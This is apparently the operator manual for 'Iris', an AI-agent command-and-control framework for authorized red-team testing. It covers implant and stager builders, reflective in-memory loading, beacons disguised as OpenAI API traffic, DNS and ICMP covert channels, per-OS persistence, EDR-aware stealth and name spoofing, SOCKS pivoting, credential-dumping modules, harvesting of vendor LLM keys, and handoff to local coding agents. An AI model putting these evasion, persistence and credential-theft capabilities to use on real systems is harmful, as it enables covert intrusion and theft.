The first beacon always goes over HTTPS — one response is what teaches the agent its tunnel IP and the console WG pubkey. --channels names the primary route: wg,https means the tunnel carries beacons from the moment it is armed (HTTPS falls back the instant the tunnel fails), while https,wg keeps HTTPS primary and uses the tunnel only when HTTPS is down. Renegotiation never drops the tunnel, and a console restart re-arms it: a tunnel-primary implant takes the route back on its next beacon.
console wg / GET /api/wg list the listener, its public key, and the peer table. The console configures no endpoints for agents (they dial the listener), so a peer's endpoint is the address the device learned from that peer's own traffic — empty until its first handshake — and last seen is the last decrypted packet from it. device errors counts real anomalies only (decrypt failures, bad MACs, invalid initiations, disallowed source addresses); handshake and keepalive chatter is not counted.
Upgrades
console upgrade <agent> (or the Workbench button): the agent downloads the new build from the payload URL and reflective-loads it.
Windows default: memory-only (zero disk writes, same process). Opt-in --write-file: same-name persistence (rename-aside when locked).
Unix/macOS: in-place rename-over-running (memory + file atomically, same pid re-exec).
Lite → full: console upgrade <agent> <url> morphs the C core in place.
CDN caches /data URLs — append ?v=N to bust a stale download.
Persistence
console persist <agent> [--mechanism <id>] / API POST /api/agents/persist — survive reboot under neutral naming; unpersist removes it. Default mechanism = platform pick; privileged mechanisms only register when the agent reports admin/root.
OS
Mechanism ids (default first)
Windows
startup · schtasks · run (registry Run key) · service (admin)
Linux
systemd-user · cron · systemd-system (root)
macOS
launchagent · launchdaemon (root)
Stealth posture
--mode field + --stealth auto: EDR/AV presence shifts cadence and spawn choices; sandboxed hosts behave lab-like (verbose, no self-destruct).
--parent-spoof picks the spawner for every spawned action; --canary shifts the file hash; --identity spoofs the visible process name.
re-enable function inlining (off = -gcflags all=-l, ~1 MB smaller)
Bake notes: --id unset keeps the stable per-host default; --keyfile/ --sysprompt are read at build time; --key / --keyfile bake the HMAC header seal only — since 0.11.5 the console never authenticates with it, so agent auth is the baked ed25519 keypair (--keygen) or an mTLS client cert; --llm-key lands only in the data segment; --debug/--mode lab produce a logging bench implant (the implant itself exposes no flags); --cert bakes the mTLS bundle (WG seed included); --wg-addr auto learns the dial target from --wg-advertise; --role red|blue|dual bakes the mission role; --no-host-agents bakes the host AI-agent handoff off (no scanning or delegating to local coding agents), --no-harvest-llm bakes off remote LLMs built from harvested vendor API keys; --keygen mints a fresh ed25519 identity, --keyfile ships a pre-made keypair (public key goes to the console for certs issue).
The baked implant runs with zero arguments and writes nothing on first launch beyond its ed25519 keypair (randomized temp path, clean-reset on corruption).
Stager (iris-stager-builder)
A one-shot loader: it downloads the implant from a baked URL, maps it reflectively into memory, and jumps to its entry point — no disk write of the implant. Production builds leave no trace (no files, stdio to NUL, no command-line change).
Windows remote inject: create the target suspended (process name or PID), load the implant into it, remote thread, exit
--spoof <name>
bash (Linux)
set comm of stager + implant so ps shows a generic name
--xor-key <hex>
auto
XOR key for the embedded strings
--etw / --pack
off
ETW suppression / randomized module path (same as implant builds)
--inline
off
re-enable inlining (off is ~1 MB smaller)
--timeout <dur>
60s
download budget
--debug
off
logging build (writes trace logs, hands --debug to the implant)
Chain it with the payload folder: bake → serve via console serve --payload → run the stager on the target; the stager fetches /data/implant.exe and the full implant beacons from memory. For a resident first stage that beacons before morphing, use the lite core's --full-url instead.
Lite implant (iris-lite-builder)
A tiny C core (Windows PE): beacon + shell + auth, ~no footprint.
--key / --keyfile here are the same seal-only bake as the Go builder (auto- generated when omitted); the lite implant authenticates with its baked ed25519 signature.
Flag
Default
Meaning
--url
required
beacon base URL
--file-out
required
output PE path
--id
lite
agent id (re-registers under it)
--beacon-path
/v1/chat/completions
beacon path
--poll
5
beacon interval (0 = console's X-Poll)
--note
—
informational note
--full-url
—
stager mode: download + morph to the full implant before beaconing (falls back to lite on failure)
--cc
auto
C compiler (x86_64-w64-mingw32-gcc / clang)
--core-dir
core
C core source directory
--lean
off
omit the COFF loader: no BOF, no upgrade, no stager; drops the VirtualAlloc import (incompatible with --full-url)
Upgrade a running lite agent to the full implant: console upgrade <agent>.
CLI verbs & REPL — full inventory
Every Web UI action has a CLI twin. Each verb is a client request to a console, and it resolves that console in this order: an explicit --url, then $IRIS_URL, then the console the last login signed into, then the built-in default http://127.0.0.1:3080. So a local console on the default port needs no flags at all; anything else — another port, a remote host, a TLS console — is named once by login and inherited by every later verb.
One login serves every later verb: it stores the session cookie and the console it signed into (address plus TLS settings) in ~/.iris-session by default; per-operator on shared hosts via --session / IRIS_SESSION_FILE. Flags may appear before or after positionals on every verb. iris console --version (or -V) prints the build identity and exits. Re-generated from the shipping code by tools/gen_cli_doc.py.
state file (offline verbs; auth comes from the login session or --password)
--insecure
skip TLS verification for self-signed consoles ($IRIS_INSECURE=1)
--ca
CA PEM to trust ($IRIS_CA)
--cert
client cert for mTLS to the console ($IRIS_CERT)
login records the address and whichever of --insecure / --ca / --cert it used, so later verbs work with no flags at all. A credential is still needed: a stored session cookie, or --key / --password for the legacy shared-password path.
Session & auth
serve
run the C2 server — beacon listener + API + Web UI (every flag on the Console internals page)
console tune --normal-gap 60 --normal-jitter 0.2 web1
console tune --reset web1 # back to compiled defaults
Flag
What it means
--agents
apply to these agents (comma list) instead of a single positional agent
--antitamper-action
antitamper response to a debugger/tracer hit: widen (default) | dormant | self-destruct | off (empty = no change)
--beacon-stuck-timeout
how long the agent may go without a successful beacon before it self-restarts (e.g. 3m, 0=off; empty = no change)
--broadcast
apply to every registered agent
--goal-cap
goal-history cap: max goal records GET /api/goals returns (0 = no change). A display cap — the state file keeps every record and export (?full=1) is uncapped. Console-side; no target agent required
--llm-resp-cap
LLM response cap (e.g. 8m; empty = no change)
--llm-timeout
per-goal LLM timeout, seconds (0 = no change)
--low-gap
low-profile beacon gap (empty = no change)
--low-jitter
low-profile beacon jitter (empty = no change)
--max-env
env-var cap (0 = no change)
--max-list
directory listing cap (0 = no change)
--max-out
per-action output cap (e.g. 16k; empty = no change)
--max-pty
concurrent live-shell sessions cap (0 = no change)
--max-read
read-tool file cap (e.g. 512k, 1m; empty = no change)
--max-steps
global cap on tool-loop steps per goal (0 = no change)
--max-tokens
completion budget per call (0 = no change)
--mcp-resp-cap
MCP response cap (e.g. 8m; empty = no change)
--memory-file
file memory snapshot: on | off (empty = no change)
--normal-gap
normal beacon gap (e.g. 30, 1.5s, 1m; empty = no change)
--normal-jitter
normal beacon jitter (e.g. 1.5s; empty = no change)
--pull-cap
file-pull cap (e.g. 32m; empty = no change)
--reset
restore the compiled-in defaults for every tunable (exclusive with value flags)
--skill-cap
skill body cap (e.g. 1m; empty = no change)
--stuck-goal-timeout
how long a goal may run before the agent self-restarts to clear it (e.g. 5m, 0=off; empty = no change)
--tool-timeout
default per-tool timeout (e.g. 90s; empty = no change)
--tool-timeout-max
per-tool timeout ceiling (e.g. 240s; empty = no change)
--uas
replace the UA pool (comma-separated; empty = keep the current set)
console pivot enable web1 # SOCKS5 routes through it
console pivot disable web1
console pivot route # show the pinned route + who it routes through now
console pivot route dc1 # pin the SOCKS route (survives a console restart)
console pivot route auto # unpin — first available pivot channel
edges as CSV (from,from_type,edge,to,to_type,props,agents,goal_ids)
--json
raw JSON snapshot
--name
case-insensitive name substring
--type
filter node type (host|user|group|domain|service|share|ca|template)
db
SQLite state ops — db verify <state.json> | export | backup | stats
console db backup ~/pre-freeze.db
console db verify
Flag
What it means
--db
database path (empty = derived from --state)
--out
backup target (default: <db>.backup-<unix>)
REPL session
One login, then every verb runs from the prompt — same flags, same output, no repeating --url / --key per command. Works interactively and piped:
$ iris console repl --url https://console.example.com --user alice --password <pw>
auth : named operator alice — session cookie active
iris> use web1 # sticky target for later verbs
iris> shell whoami
CORP\alice
iris> send "list the local admins" --mode supervised
iris> plan 42 approve
iris> exit
login <user> <password> signs a named operator in; login <password> alone uses the legacy shared console password. A password-only attempt the console rejects (any 401 — including the bare unauthorized a console with the shared path closed returns) is retried as a named one: the lone positional becomes the operator name and the password is asked for again, so login alice means what it sounds like on a named-accounts console. The shared-password path stays open until the console has an active named operator (even with --disable-legacy-password), otherwise nothing could sign in to create the first one. CLI and REPL authenticate exactly like the Web UI, and the audit trail attributes every action to the operator.
use <agent> pins a sticky target — send/shell/config/tune/mcp/ file/push/skills (and the IR verbs) apply to it until use "".
The REPL takes the same verbs as the standalone CLI (everything except serve and repl itself), with the console and credential already resolved by the prompt — so operator, pivot, recon, db, boost, message, inject and settings work there too.
Signing in at the prompt (login <user> <password>) or up-front with --user / --password writes the same session file, so standalone verbs started after the REPL exits inherit the identity and the console.
logout clears the credential and keeps the console address, so signing back in needs no --url either.
Builtins: help · use · history · cls · exit.
Arrow-key history + line editing on a TTY; piped stdin falls back to plain line reads, so the REPL works in scripts too.
RBAC is enforced per verb: a viewer session gets a clean 403 … requires red on write verbs, exactly like the UI. A failed verb never kills the prompt.
Pivoting — reach internal networks
serve --socks-port 0.0.0.0:5555 — UDP relay (:5556) and named-pipe proxy (:5557) come up with it.
Enable pivot on the agent: UI ⇄ (or Workbench ⇄ Pivot, which also pins routing), console pivot enable <agent>, or POST /api/pivot/enable. The channel opens on the next beacon.
UDP forwarding rides the same channel (relay port + 1).
Multi-hop: a child implant behind a gateway implant chains pivots; route maps show the path.
Named-pipe pivot (Windows): same-host agents reach the console through the pipe proxy — no network egress at all.
Routing priority: startup --socks-agent → the Pivot (C2) section's [USE] selection (console pivot route <agent>, auto clears it) → first available pivot channel. The selection is persisted and survives a console restart (the startup flag still wins).
The console PTY sets all_proxy automatically while a pivot routes (the "via pivot" badge shows it).
Credential: sig — an ed25519 signature over the canonical header {v,id,ts,type,agent,nonce}, verified against the key pinned at HELLO (or the mTLS cert path). hmac is the retired legacy seal.
Beacon: POST /v1/chat/completions (OpenAI-shaped URL for traffic disguise; legacy /b still served) with one envelope. The console answers {"pending":[…]} — queued envelopes — holding the request up to X-Poll seconds (max 30). One standing request per agent — websockets exist only as the fast path for PTY / pivot channels (WS upgrade or WG). Where a proxy cannot carry the upgrade, pivot falls back to long-poll: GET /pivot/poll holds 25 s and returns queued console-to-implant frames (a response ends as soon as frames exist), POST /pivot/send carries implant-to-console frames, and both use the same frame dispatch and authentication as the WS channel. It costs a round trip per batch, so it is a fallback, not a preference.
Side channels: the same envelope rides DNS TXT (uplink split into base64url query-name pages, downlink as TXT records, retransmit-until-ACK) and ICMP echo (magic-prefixed payloads).
Encryption: ECIES — an X25519 ephemeral sealed to the console's static key, which the agent tracks per console endpoint (a fail-over console learns its own); the envelope itself is signed by the agent's ed25519 key. --no-ecies for plaintext.
Replay guard: envelope ts must sit inside --beacon-ts-window (nonce retention follows the window).
Credits & third-party code
Iris itself is MIT — Copyright (c) 2026 x90.dev, see LICENSE in the bundle. Everything below is third-party: vendored dependencies, and community modules that stay separate works loaded at runtime rather than linked into the binaries.
Inspiration — AGENTIC C2 FRAMEWORK TOOL (ECHOTRIBBLE), the CFIC / U.S. Army Cyber Command (ARCYBER) / Army Cyber Technology and Innovation Center (ArCTIC) assessment event (CFIC-2026-127, June–August 2026): an autonomous, modular, low-observable C2 agent — self-directed behavior, anomaly detection, light-presence operation, encrypted callback, ephemeral state, self-destruct/heal, multi-platform, tamper-resistant. Event page: https://www.cyberfic.org/events/echotribble-ae; whitepaper template: https://www.cyberfic.org/_files/ugd/32ed7f_0ba3aa68d8c34e62861320727cd49b56.pdf.
Models & harness — this codebase was written end-to-end by AI coding agents:
Fleet LLMs — cyber-focused uncensored GGUF models served locally over OpenAI-compatible endpoints; weights are never shipped inside iris.
Community module imports — TrustedSec CS-Situational-Awareness-BOF (GPL-2.0), shashinma LSAdump-BOF (GPL-3.0), RalfHacker Kerbeus-BOF (no license stated upstream). Provenance: bofs/recipes.json; live-tested blobs: bofs/cs/compiled/ (bofs/cs/README.md). They are separate works loaded at runtime — never linked into the Go binaries.
IR bridges — Velociraptor (Velocidex, AGPL-3.0) and osquery (GPL-family): operator-downloaded, operator-run; Iris deploys and drives them but never bundles them.
Use — authorized testing only; see the README disclaimer.
Acknowledgment — thanks to the Palo Alto Networks Unit 42 researchers for their attention and great analysis while this project was in progress.
All Go dependencies are vendored under third_party/ (local replace directives, no go.sum, fully offline builds; every vendored copy keeps its upstream LICENSE file):
userspace WireGuard device for the WG C2 channel (internal/wg, vendored + trimmed)
Web asset: the live-shell terminal is xterm.js 5.5.0 (+ the fit addon), MIT (the xterm.js project), vendored under cmd/console/web/pty/.
C code in core/ (lite implant): the curve25519-donna / ed25519-donna / modm-donna headers are public domain (floodyberry/donna; ed25519 modified from the amd64-51-30k implementation by Daniel J. Bernstein, Niels Duif, Tanja Lange, Peter Swensen). core/ed25519.o is the pre-compiled object linked by iris-lite-builder so the C cross-compile stays a single TU.
BOF ABI & loaders: the Sliver BOF (COFF/ELF/Mach-O) format, the Beacon API (BeaconPrintf, BeaconFormat, BeaconData, BeaconOutput) and the relocatable-object loader design are credited to the Sliver project (GPL-3.0, Bishop Fox) — internal/reflective is a port of Sliver's reflektor, core/coff.c mirrors it, and the unix in-process loaders in internal/bof follow the same ABI. The section-symbol relocation formula (ADD the in-code offset, not replace) follows trustedsec/coffloader (GPL-3.0, TrustedSec).
C→Go Beacon callback bridge (internal/bof/purego_callbacks_windows.go) ports Sliver's reflektor approach of turning each Go callback into a real C-callable pointer. Credited:
purego (Apache-2.0, Ebitengine / Eimantas Valiula et al.) — purego.NewCallback makes each Go closure a stable, C-callable pointer running inline on the calling goroutine.
Sliver (GPL-3.0, Bishop Fox) — the per-function callback table, the entry invocation (runtime.LockOSThread() + syscall.SyscallN), and the per-arg-type string packing (AddString / AddWString).
BOF module corpus: the test corpus comes from sliverarmory/CS-Situational-Awareness-BOF (GPL-2.0; original author TrustedSec) plus the first-party plain-C modules in bofs/iris/.
**Imported capability modules (cs/*)** — built locally from upstream sources, shipped as labeled imports through the loader:
The console is a single self-contained web page served by iris-console serve — no
frontend build, no external assets. Everything updates live over SSE: beacons, transcripts,
files, detections, audit rows.
Dock (bottom) — every panel: All · Agents · Send Goal · Goals · Shell · Files · Blue Workspace · Graph · Modules · Skills · Tune · Global · Transport · Audit · Operators. Transport is a single item with two headers: Pivot (C2) (SOCKS route + multi-hop listeners) first, then Secure transport (WireGuard tunnel, then Certificates (mTLS)). Schedules and messages live inside Send Goal, not in their own dock item. The dock doubles as a focus switch: a section button hides every other panel
and that panel's tables grow to fill the screen — one panel per job. Click the focused section
again (or All) to return; arrow keys cycle sections; 0 or ` = All.
Typing in a field is never intercepted.
Focus details — controls keep their layout; long scrolling tables extend down to just
above the dock, short tables stay as they are (no gaps). The choice persists across reloads;
deep links (#sec-detections) open focused, and detection-chip jumps focus the Blue
Workspace. Fresh Blue Workspace detections show as a count badge on the dock button.
Every panel has a ? popover — the full operational help, so the UI itself
stays short.
Signed in — status line, Global settings, agent table, dock
Login & operators (RBAC)
With --operator-auth the operator surface (UI + API; the agent surface stays
cert/signature-only) requires a named operator login. The sign-in form always takes a named account — a fresh console has none yet, so seed the first from the CLI (a bare password sign-in on the CLI/API bootstraps the legacy shared password; the UI form cannot bootstrap anything):
iris-console operator add alice --role red --password <pw> --db ~/iris-runtime/iris-state.db
Roles — viewer (read everything, mutate nothing) · blue (Blue Workspace IR only: Velociraptor / osquery runs, IOC sets, probes, anomaly dispositions, messages — no goals, no shell, no red actions) · red (full operator:
goals, shell, modules, pivoting, kills) · admin (everything above + operators, certs / PKI, registry-wide settings, llm-block containment). Unknown mutations fail CLOSED to admin.
Sessions — issued cookies carry absolute + idle expiry; logout ends one.
CLI and REPL authenticate as the same identities —
Authentication (multi-operator).
Attribution — every mutation and every RBAC denial lands in the
audit trail with the actor name; no shared-key anonymity.
Offboarding — disable an operator without touching their audit history; delete removes
the account, not the trail.
Legacy shared password — the X-Password path stays until
--disable-legacy-password turns it off. Create a named admin FIRST,
then flip — or you lock yourself out.
One row per agent, live. Filter across id · os · user · host · models · EDR/AV · status · source IP · geo; the fleet header carries the Hide idle threshold and the Allow key mismatch check-in checkbox.
Columns — stable agent id (copy icon; clicking opens the
Workbench) · user/host/os composite · EDR/AV detection + implant
version + arch · mission-role chip (red/blue/dual — flip from the row, see
mission roles) · fingerprint (LLM
backends seen on the host, MCP servers, skills, WG address) · skills · last seen · beacon count +
last channel · auth icon (mTLS / signature).
Enrollment — --strict parks first-seen agents PENDING until you approve
or deny; a denied agent can be blocklisted so it never re-enrolls. Key-rotation beacons (bad signature) can be flagged for approve/deny instead of rejected via the Allow key mismatch check-in box in the fleet header.
Actions per agent — approve/deny · LLM-proxy toggle (compromise containment: its
remote LLM calls 403; beacon + local LLM keep working) · boost (fast-poll: the beacon loop tightens to the shell cadence (~150ms) so queued goals pick up near-instantly; idle beaconing unchanged; off = the normal stealth-aware cadence) ·
hide · revoke cert · blocklist · kill · live PTY · Workbench · Console link · pivot enable.
Batch — kill all (kill switch) · clear goal history · export / import the fleet view ·
role flip to --all.
Fleet — live agents; roles, stealth, Defender chips, kill all, fingerprint + MCP columns
Send Goal — goals, schedules, messages
The merged send panel — everything leaving the operator toward agents:
goals, scheduled goals, messages. One shared console: every operator sees the
same goal history, schedule, and message log.
Goal — a natural-language task to one agent, several (--agents a,b) or
the whole fleet. The agent runs a tool-loop (shell, modules, files, recon…) and reports facts;
you get a live streaming transcript. Pick the LLM backend per goal. Supervised mode
pauses on each plan for your approve/reject — the decision is audited. The console-wide default
mode lives in Global settings; the per-goal choice overrides it.
Shell / file-pull goals are never gated by mode.
Schedule — one-shot goals that fire at a chosen time (at) or after a delay (in: "2h"), then leave the schedule; re-send to repeat. list / cancel from the panel or console schedule. The schedule is console-wide: it survives restarts and
fires whether or not anyone is logged in — a goal queued by operator A runs regardless of
who is watching.
Messages — an operator message goes to an agent: delivered on its next
beacon and injected into its LLM context, so it can act on it and reply with its own
message tool. The panel doubles as the inter-agent log — agent↔agent
hand-offs and agent→operator reports all land here. One shared log for every operator.
Who did what — every Messages row carries an OPERATOR (green) or AGENT (slate) pill — operator sends show the logged-in account name, agent-origin rows the agent id; goal rows show by with
the operator who queued them; plan decisions land in the audit trail attributed. Writes need
red (messages: blue) — a viewer session reads everything, changes nothing.
The merged send panel — goal form with schedule options, and the shared Messages log with OPERATOR / AGENT pills: green rows are operator-sends (attributed to the logged-in account), slate rows are agent-origin.
Goals & transcripts
Every goal, running or done, with time · agent · model · status. Click through to the full
transcript: each tool call, its output, the model's reasoning steps, final result — exportable
per goal.
Cancel a running goal — an immediate abort: the in-flight LLM call is torn down and the running command killed; remove finished
rows; wipe a panel wholesale (clearall).
Agent acks land here — config / tune / role / stealth pushes confirm applied (and
rejected) values as goal rows, so every runtime change is visible in the same table.
Two channels, one history — LLM goals vs direct shell rows (model=shell)
tag separately and export / purge separately.
Shell — one command on one agent, no LLM in the loop. Output returns through the
agent's current channel and lands in the transcript stream as a model=shell row.
PTY — a live interactive terminal on the agent: full TTY semantics, Windows
ConPTY on the implant side. UI: the pty icon on the agent row or the Workbench Pty button — opens a terminal window; the session ends explicitly or self-reaps after 360s of no I/O (sliding). CLI: console pty <agent> [cmd] in your own terminal — --idle N sets that reaper (default 360, 0 = never), ^]q (telnet-style) detaches.
Pivot-aware — the console PTY sets all_proxy through the SOCKS proxy
whenever a pivot can route, re-syncing as channels connect/disconnect — so tools run inside
the agent shell reach the internal network.
Shell — direct command entryLive shell (PTY) — interactive terminal on a Windows agent (CONPTY, ws tier)
Files — pull / push / exfil
Pull — remote path → console (chunked transfer, reassembled from the beacon stream;
large files survive channel failover mid-transfer). Download from the Files panel or
console download <name>; the list shows size + received time + source agent.
Push — console file → agent path (~4 MiB per push); the Workbench file explorer has
the reverse Push.
Runtime captures — a screenshot (the C BOF iris/screenshot: GDI capture → PNG in TEMP) or any on-host artifact lands as a pulled file through the same DATA pipeline — same table, same download route.
The blue-side workflow — triage → indicators → hunt — scoped to sensor agents
(mission role blue/dual; see
mission roles). Click a host name to
scope that sensor and investigate.
Sensor posture — per-agent golden baseline (processes, services, persistence,
listening ports) with drift status above the feed; diffs run on every beacon.
Triage — the anomaly feed: IOC hits, suspicious artifacts, posture drift, plus the
behavioral engine on beacon metadata (egress drift, protocol switches, cadence breaks) as
sev-rated rows with the evidence line. Row actions: FP = false positive (allowlisted,
repeats suppressed) · OK = confirm (auto-IOC extraction into a triage/<agent>
set) · ESC = escalate (goal prefilled, auto-targeted at a RED agent on that host) ·
CAP = exfil the file + hash it.
Indicators — the IOC sets you feed (curated catalogs + auto-extracted);
sweep fleet re-arms every sensor's disk sweep; hashes appearing in result tables join the
active set automatically.
Hunt — Velociraptor: heavy DFIR artifacts through the collector bridge. Deploy is ONE
operator click (a blue sensor never installs IR tooling itself) and lands at
%LOCALAPPDATA%\iris-vr\velociraptor.exe; Iris pins v0.77.3. Deploy source resolves
per target OS (/data/velociraptor.exe / -linux / -mac
from the console's --payload folder; the row edits the WINDOWS source, linux/mac via
console vr-url linux <url> or /api/deploy-urls). Replace the file +
re-deploy to update — re-deploy is also the repair path for a half-download. Results land in the
Artifact store; Generic.Detection.Yara runs your active yara indicators over
C:\Users + C:\Windows\Temp, and hits feed the Fleet rollup + alert
webhook as known_bad.
Hunt — osquery: plain SQL through the pinned 5.24.0 one-shot shell, read-only —
SELECT/WITH only, rejected console-side before it hits the wire. An
optional label names the run; results land in the same Runs table (view opens the table).
Starters: SELECT pid,name,path,cmdline FROM processes · join
process_open_sockets for live connections · SELECT path,md5,sha1 FROM hash
WHERE directory='C:\Windows\Temp'. Per-OS deploy source via console osq-url.
Full walkthroughs: Velociraptor deploy ·
osquery deploy.
Containment stays red/admin — the Fleet row's LLM-proxy toggle (admin), blocklist and kill (red) belong to the Fleet panel; a blue session escalates instead of containing.
A blue operator hunts, disposes and escalates — ESC opens a prefilled goal auto-targeted at a red/dual agent on the same host.
Blue Workspace — detections + IOC catalogsBlue Workspace Triage — golden baseline & surface, watch set, live detections with respond chips
Recon Graph
Assembled by the console from machine-readable capability output as goals finish — module
output is facts, not prose — into entities (hosts, users, groups, services, domains, CAs, cached
credentials) with typed edges (admin-on, of, dc-of…).
Provenance — every node/edge carries agent + goal id + source: a finding is never
stronger than the goal that earned it. A source the console cannot parse adds no edges — no
guessing.
Corpus-driven — vanilla deployments yield hosts/DCs/accounts; loading the
cs/* corpus lights up the hash-bearing edges.
Actions — report renders the markdown red-team report (ranked findings +
per-agent timeline); export CSV gives BloodHound-style edge rows; reset drops the
graph (goal history untouched). The graph is per-fleet and survives restarts as an atomic JSON snapshot beside the state file (derived data — a corrupt snapshot is quarantined and rebuilt from goal results).
Loadable capability extensions executed in-process on the implant — no child process
on Windows — runnable from the console without an LLM, and on full AND lite agents.
Platforms — Windows: PE or COFF (Sliver-style); Linux: ELF; macOS: Mach-O (unix
modules run as child processes from memory — no file on disk on Linux). Every module carries its
platform tag; run refuses a module that doesn't match the agent's OS.
First-party catalog — iris/tasklist · netstat · regquery · pth · sam · vault · adcsreq · psexec · wmiexec · adenum · screenshot plus the imported cs/* AD corpus (Kerberoast, as-rep, ADCS enum, lsadump variants) — every module reports structured facts;
the LLM reasons over them. (recon · scan · local · creds · evidence · lateral are the agent's built-in tools, not modules.)
Arg packing — tokens are space-separated. Windows: each token becomes a Sliver
BOFArgsBuffer field — all-digits = int, else a NUL-terminated string (sa-dir
takes <path> <subdirs>). Unix: tokens become the child argv. Bytes go
inline in the directive; results land in the Goals table on the agent's next beacon.
Loaders — reflective COFF (Beacon API implemented in pure Go) on Windows; in-process
ELF/Mach-O on Linux/macOS. Per-module compat verdicts: docs/bof-compat.md.
Run from UI (run + args), CLI (console module run <agent> <name>
<args…>), or inside an LLM goal — the agent picks catalog modules itself.
Morph — console upgrade <agent> <url> points a lite agent at
the full implant: download, reflective load, hand-off in the SAME process (same PID/image/id, no
self-kill — the old core is superseded in memory).
Modules — catalog rows with origin namespace, run box, import/export
Pivot (C2) & secure transport
One dock item, two headers. Pivot (C2) leads: which implant SOCKS traffic routes through, plus the multi-hop listeners. Under Secure transport sit the two halves of one channel — the tunnel, then the certificate authority that provisions it (a peer IS a cert, so both halves are maintained here together).
Pivot (C2)
Reach networks the console cannot see, through an implant that is already inside them.
The status line says what is live and what traffic is actually using.
Status line — SOCKS proxy: <addr> | route: <agent> | connected: ….
route: is the agent traffic flows through right now; — means nothing can
route yet. connected: lists agents whose pivot channel is up (a WebSocket upgrade, or
long-poll where a proxy strips the upgrade); an agent reached through another shows
<agent> (via <gateway>).
Enable pivot per agent (the ⇄ button in the Fleet row or the Workbench), then
USE pins it as the route; the dropdown marks each entry (active) /
(open) / (connecting…) — pivot is intent, a channel opens on the agent's next
beacon. DISABLE clears the pin and routing falls back to the first live channel.
Routing priority — startup --socks-agent → the USE selection → first
available channel. The USE selection is persisted and survives a console restart; the
startup flag wins over it.
SOCKS5 — serve --socks-port 0.0.0.0:5555, then point Nmap / Burp / RDP /
proxychains at socks5h://console:5555; UDP-associate rides the same channel (relay
port + 1). The console PTY routes through the same pivot, so a Workbench shell reaches internal
targets too.
Multi-hop listeners — select the gateway agent, set a port (0 = ephemeral),
LISTEN: the listener runs ON that agent, so a child implant whose C2 URL points at
<agent-host>:<port> tunnels its whole C2 through the gateway. STOP
closes a listener.
CLI: console pivot enable | disable | streams | listeners | pipe; full walkthrough in
channels & pivoting.
WireGuard tunnel
An encrypted-tunnel beacon channel (--wg-listener) for agents whose mTLS cert
carries a WG identity — the WG key lives in a cert extension, so peer provisioning IS the
cert; no key-exchange ceremony.
Peers are added lazily on every beacon; WG key resolution: presented cert → cert
record by agent name → self-reported cert fingerprint, so proxy-routed beacons work too. Cert
revocation drops the peer and its route.
Last seen = the last decrypted packet from that peer. — means the peer
was configured but never rode the tunnel (dead WG path: UDP blocked at the console, or the
agent's endpoint unreachable).
Auto endpoint — start the console with --wg-advertise <public host:port>
and build implants with --wg-addr auto: the endpoint is console-pushed on every
beacon, so moving the WG port needs no fleet rebuild (a baked --wg-addr host:port
still wins).
Device errors count the tunnel's decrypt/handshake failures — non-zero means packets
arrive but fail (wrong key, moved endpoint, a middlebox mangling UDP).
WG is just another channel the beacon can fail over to (fleet row shows beacons: N
wg); for pivoting through the tunnel see channels &
pivoting. CLI: console wg · console wg peers.
Secure transport — WireGuard tunnel (listener state + lazy peer table) above the certificate list
Certificates (mTLS PKI)
--mtls turns the console into its own CA — zero external PKI. The cert's CN is
the agent's identity and it overrides the envelope's agent field.
iris console certs init --san c2.example.com,203.0.113.5 # CA + server cert (one-time; SANs = console hostnames/IPs)
iris console certs issue <agent-name> # per-agent client cert (WG key in a cert extension)
Bake it — iris-implant-builder --cert <bundle>; the agent then beacons
by presenting its cert (fleet auth icon confirms per row).
Revoke — stops a cert immediately: its next beacon is rejected 403 and its WG peer
drops. Pair with blocklist so a revoked agent can't re-enroll.
Migration — without --mtls nothing changes (the ed25519 signature path
still authenticates beacons), so a fleet migrates agent-by-agent.
CLI: certs init | issue | list | revoke | show.
Agent tools — skills · MCP · LLM
One agent selection drives the skills, MCP, and LLM rows. Everything here applies live (no
restart); the agent acks in the Goals table and the Agents table shows its skills/MCPs.
Skills — markdown technique / playbook packs the agent LLM loads mid-goal via the
skill tool: the agent keeps only the record and fetches the body during the
goal — nothing loads at launch. Assign one from the console's --skills-folder
dropdown or paste a remote skill URL; add assigns (or creates a store skill),
remove unassigns, view/edit open the markdown, reset
clears all.
Pending skills — agent self-learning — skills an agent proposed via
skill_save after solving a repeatable task land here for review: approve
(saves to the store and optionally advertises the skill to other agents) · reject ·
discard.
MCP servers — add / remove Model Context Protocol servers at runtime; Firecrawl web
search is built in by default (bake --no-default-mcp to drop it). Changes are RBAC-gated pushes (red); the agent dials the MCP server itself — no console proxy.
LLM — add an endpoint to the agent's pool or change its limits: base URL + optional
API key, wait for the model dropdown to populate, pick a model, submit. Keys can stay
console-side via the default-LLM proxy, and locally-detected backends
on the host (running assistants, harvested vendor keys) show up in the fleet fingerprint as
routing candidates.
Live-tune a running agent — pushed over the beacon, no restart, no re-bake. The agent acks
the applied (and rejected) values in the Goals table. Runtime tune overrides baked values.
What — four columns, live: beacon & stealth (normal/low gap + jitter · user-agent pool · beacon-stuck watchdog) · llm & tools (max steps/tokens · llm/tool timeouts · file-memory disk posture) · data caps & recovery (max read/output/list/env · stuck-goal timeout · anti-tamper action) · channels & sessions (file-pull cap · llm/MCP response caps · skill body cap · PTY session cap · per-agent C2 profile override). Channel order is a bake flag (--channels), not runtime tuning; per-agent LLM lives in Agent tools.
Input rules — an empty field = no change for that value. Durations: a bare number is
seconds (30 = 30s), or write 1.5s / 1m. Sizes: bare bytes,
or 256k / 1m / 2g.
Append-only, SQLite-backed, survives restarts. Every operator mutation and every RBAC
denial — who, when, what, result — plus system events (enrollments, channel switches,
kills).
Attribution — named-operator sessions (Web UI or CLI/REPL login) attribute precisely;
the legacy shared password shows as its own actor until retired.
The detail says what happened — not just the path. A dispatch row names the
goal id(s) it created; module / inject / recon / kill rows name the goal they queued; a
scheduled goal names its schedule id. In the table those ids are links: clicking one opens
the Goals panel and lands on that goal row (a filter hiding it is cleared once and retried).
Same trail from the CLI — console audit --q goals/queue, with
--from / --to windows, --json, and
console audit export|import <file> (CLI verbs).
Review — the header badge counts unreviewed events; filter by actor / action / time;
export.
Operator-readable: no secrets in the trail beyond what the actions touched.
Audit Trail — attributed events; goal ids in the detail are links to the goal rows
Global settings
The console-wide switches — everything here applies to every agent, live, no
restart. Each row has a CLI twin:
Global instructions (console global) — standing text prepended to
every agent's system prompt; goals only, direct shell untouched.
Startup instructions (console startup) — a goal queued once
for every agent that has never checked in; a baked --startup-goal overrides it.
Default LLM (console llm-default) — the console's LLM endpoint list.
Agents that beacon without their own LLM are proxied through it: the API key stays on the
console and never touches a target. Per-agent block: console llm-block.
IP allowlist (console ip-allowlist) — single IP / CIDR / range /
wildcard per line; anything else gets 403.
Default operation mode (console mode) — autonomous or
